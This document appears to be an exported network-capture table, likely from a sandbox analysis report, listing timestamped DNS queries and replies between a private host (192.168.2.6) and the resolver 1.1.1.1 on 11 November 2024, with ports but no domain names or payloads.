Nov 11, 2024 18:51:02.376163960 CET	53	63436	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.501667023 CET	53	53017	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.549036026 CET	59192	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.556807995 CET	53	59192	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.587047100 CET	53334	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.587579012 CET	52117	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.587965012 CET	49591	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.587965012 CET	56897	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.589572906 CET	52817	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.591242075 CET	57443	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.591902018 CET	56785	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.591973066 CET	60380	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.592580080 CET	51094	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.592580080 CET	61751	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.592936993 CET	51987	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.593169928 CET	61326	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.593316078 CET	59047	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.593450069 CET	51899	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.597035885 CET	53	53334	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.597882032 CET	53	56897	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.598663092 CET	53	56785	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.599276066 CET	59809	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.599277020 CET	62387	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.599634886 CET	63708	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.600224972 CET	53	52817	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.602662086 CET	53	60380	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.603669882 CET	53	59047	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.610174894 CET	53	59809	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.624800920 CET	51930	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.631608009 CET	60272	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.631608009 CET	50138	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.631844044 CET	63108	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.632323980 CET	50898	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.632567883 CET	64527	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.632946014 CET	63742	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.633570910 CET	54817	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.633570910 CET	55111	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.633697033 CET	56196	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.634218931 CET	51423	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.634243965 CET	54605	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.635026932 CET	51676	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.635305882 CET	64548	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.637042046 CET	60304	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.637779951 CET	55340	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.638125896 CET	52805	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.638197899 CET	52130	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.639031887 CET	64653	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.639031887 CET	56130	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.639288902 CET	54483	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.641031027 CET	54070	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.642703056 CET	53	52117	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.642719030 CET	53	49591	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.642729998 CET	53	51899	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.642740011 CET	53	51094	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.642751932 CET	53	57443	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.642761946 CET	53	51987	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.642775059 CET	53	63708	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.642786026 CET	53	62387	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.646306992 CET	53	51930	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.648504972 CET	53	64653	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.648741007 CET	53	63108	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.648802996 CET	53	50138	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.648816109 CET	53	50898	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.649584055 CET	53	54605	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.650484085 CET	53	55111	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.650662899 CET	53	56130	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.650676012 CET	53	63742	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.651439905 CET	53	60304	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.651451111 CET	53	56196	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.652573109 CET	53	54070	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.653184891 CET	53	54483	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.657699108 CET	53	52805	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.658776999 CET	53	51676	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.670111895 CET	53	55340	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.670727015 CET	53	51423	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.671267033 CET	53	52130	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.671310902 CET	53	64527	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.671714067 CET	53	64548	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.805098057 CET	64681	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:02.812906027 CET	53	61751	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.841342926 CET	53	64681	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.844290972 CET	53	54817	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:02.887957096 CET	53	60272	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:03.036225080 CET	53	61326	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:03.079622984 CET	51179	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:03.089647055 CET	53	51179	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:03.095415115 CET	54445	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:03.095415115 CET	57567	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:03.096088886 CET	61485	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:03.103579998 CET	53	61485	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:03.103612900 CET	53663	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:03.105531931 CET	53	57567	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:03.106089115 CET	53	54445	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:03.114121914 CET	64577	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:03.115838051 CET	53	53663	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:03.146641016 CET	53	64577	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:03.178848028 CET	50634	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:03.189428091 CET	53	50634	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:03.266386032 CET	58067	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:03.266386032 CET	61427	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:03.273657084 CET	53	58067	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:03.276253939 CET	53	61427	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:03.291718006 CET	50881	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:03.323026896 CET	53	50881	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.447458982 CET	54602	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.458656073 CET	53	54602	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.476953030 CET	51435	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.489907026 CET	62316	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.490083933 CET	60517	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.490235090 CET	51745	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.490401030 CET	54435	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.490586042 CET	64788	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.490717888 CET	61965	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.492239952 CET	50468	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.492536068 CET	64146	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.492749929 CET	65291	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.493727922 CET	51600	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.500962019 CET	53	54435	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.503166914 CET	53	61965	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.508928061 CET	53	51435	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.513504028 CET	60448	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.513931036 CET	53	51600	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.513937950 CET	63524	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.517961025 CET	53223	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.518374920 CET	55091	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.523360968 CET	53	51745	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.523377895 CET	53	62316	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.523396015 CET	53	60517	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.523406029 CET	53	64788	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.525062084 CET	53	50468	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.525403976 CET	53	64146	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.527142048 CET	53	65291	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.528242111 CET	54513	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.528351068 CET	63896	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.528460026 CET	62583	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.528821945 CET	62732	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.528995991 CET	61210	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.529146910 CET	60055	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.529284954 CET	49890	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.529499054 CET	53	53223	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.530587912 CET	53	55091	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.532893896 CET	53	63524	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.534964085 CET	50965	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.537441969 CET	49945	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.538068056 CET	55371	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.538235903 CET	59400	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.538336039 CET	53	60055	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.538427114 CET	52144	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.538582087 CET	61244	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.538810968 CET	61587	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.539542913 CET	53	61210	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.539689064 CET	53	62732	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.542630911 CET	52909	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.546083927 CET	53	60448	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.548449039 CET	53	49945	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.549253941 CET	53	61244	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.549750090 CET	53	61587	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.549909115 CET	53	52144	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.550086975 CET	53	59400	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.550245047 CET	53	55371	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.552391052 CET	60060	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.553100109 CET	53	52909	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.553565025 CET	49611	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.554044008 CET	49527	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.559796095 CET	53	62583	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.559974909 CET	53	54513	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.562098980 CET	53	49890	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.562768936 CET	53	63896	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.563682079 CET	53	60060	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.565711021 CET	53	49611	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.565727949 CET	53	49527	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.568022966 CET	53	50965	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.602207899 CET	61544	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.602524996 CET	54989	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.605778933 CET	63462	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.613544941 CET	53	61544	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.618232965 CET	59906	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.618561029 CET	60892	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.618841887 CET	51109	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.619056940 CET	59879	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.619894028 CET	51246	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.620178938 CET	50874	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.620969057 CET	57026	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.621522903 CET	53	54989	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.629317999 CET	53	60892	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.630460978 CET	53	50874	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.630799055 CET	53	51109	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.630811930 CET	53	51246	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.630822897 CET	53	59906	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.632342100 CET	53	57026	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.633518934 CET	60483	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.633570910 CET	63941	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.633955002 CET	55501	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.634044886 CET	60984	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.634124041 CET	52763	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.634252071 CET	59915	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.638971090 CET	53	63462	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.638997078 CET	51272	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.643435955 CET	53	60984	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.643609047 CET	53	55501	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.644269943 CET	53	63941	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.644342899 CET	53	60483	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.645436049 CET	53	59915	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.649785042 CET	53	59879	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.656752110 CET	53	51272	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.661858082 CET	60820	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.663368940 CET	65480	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.666050911 CET	53	52763	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.669218063 CET	55825	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:04.673482895 CET	53	60820	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.696193933 CET	53	65480	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:04.702099085 CET	53	55825	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:05.034351110 CET	64801	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:05.038032055 CET	63556	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:05.042192936 CET	59227	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:05.042536974 CET	49817	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:05.044442892 CET	53	64801	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:05.048834085 CET	53	63556	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:05.051827908 CET	53001	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:05.052756071 CET	50695	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:05.053080082 CET	53	59227	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:05.054267883 CET	53	49817	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:05.083456039 CET	53	53001	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:05.084788084 CET	53	50695	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:05.137589931 CET	64981	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:05.148230076 CET	53	64981	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:05.163042068 CET	51402	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:05.164978981 CET	51347	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:05.173268080 CET	53	51402	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:05.175667048 CET	53	51347	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:05.184269905 CET	58451	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:05.195699930 CET	53	58451	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:06.019068956 CET	57132	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:06.056860924 CET	53	57132	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.371062994 CET	65448	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.380600929 CET	53	65448	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.495057106 CET	50048	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.505264997 CET	53	50048	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.591576099 CET	57012	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.600752115 CET	53	57012	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.663789034 CET	53726	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.688611984 CET	53	53726	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.753360033 CET	63695	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.764441967 CET	53	63695	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.862262011 CET	49478	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.866374969 CET	49764	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.872941971 CET	53	49478	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.876588106 CET	53	49764	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.885425091 CET	57400	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.899480104 CET	62479	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.901992083 CET	58753	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.902458906 CET	60320	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.907099009 CET	51581	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.907825947 CET	53	62479	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.909259081 CET	61999	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.911552906 CET	54843	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.912770033 CET	53	58753	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.912851095 CET	64303	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.913914919 CET	53	60320	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.915960073 CET	53	51581	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.920572996 CET	53	61999	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.922475100 CET	53	54843	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.923929930 CET	53	64303	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.930736065 CET	60839	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.931464911 CET	53900	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.931672096 CET	59152	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.931849957 CET	50414	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.932225943 CET	52167	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.932482958 CET	52043	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.932869911 CET	64134	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.933080912 CET	54211	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.942549944 CET	53	60839	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.943240881 CET	53	53900	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.943252087 CET	53	59152	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.943564892 CET	53	52043	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.945013046 CET	53	54211	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.945473909 CET	53	64134	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.963326931 CET	53	52167	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.964005947 CET	53	50414	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.965065002 CET	51637	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.966201067 CET	62146	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.966581106 CET	51086	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.966834068 CET	65373	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:07.974111080 CET	53	51086	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.976567030 CET	53	65373	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.977247953 CET	53	62146	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:07.997510910 CET	53	51637	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.012837887 CET	51788	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.020136118 CET	53	51788	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.085100889 CET	60392	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.096311092 CET	53	60392	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.158955097 CET	53	57400	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.192832947 CET	56446	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.202222109 CET	53	56446	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.223048925 CET	50907	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.254054070 CET	53	50907	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.316044092 CET	54309	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.328265905 CET	57723	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.328412056 CET	62562	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.328989029 CET	59399	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.329674959 CET	63619	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.331176996 CET	62567	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.333683968 CET	53	54309	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.337599039 CET	53	63619	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.341346025 CET	53	59399	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.343458891 CET	53	62567	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.347964048 CET	53	62562	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.359297991 CET	53	57723	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.520868063 CET	62202	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.521030903 CET	62684	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.529062033 CET	53	54415	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.530711889 CET	53	62202	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.531208038 CET	53	62684	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.531621933 CET	64962	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.550911903 CET	64892	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.554161072 CET	64840	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.556030035 CET	64763	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.556422949 CET	61976	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.559467077 CET	51278	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.560183048 CET	62721	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.560818911 CET	53	64892	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.561152935 CET	54181	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.563647032 CET	54911	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.563760996 CET	53	64962	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.565386057 CET	65133	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.566637039 CET	53	61976	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.567495108 CET	62883	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.569845915 CET	53	51278	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.570264101 CET	50827	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.570338964 CET	53	62721	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.572057962 CET	53	54181	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.573404074 CET	53	54911	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.573414087 CET	53	65133	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.578440905 CET	53	62883	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.580176115 CET	53	50827	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.580462933 CET	54199	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.580841064 CET	61696	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.580841064 CET	59482	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.584475040 CET	61045	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.584475040 CET	53310	53	192.168.2.6	1.1.1.1
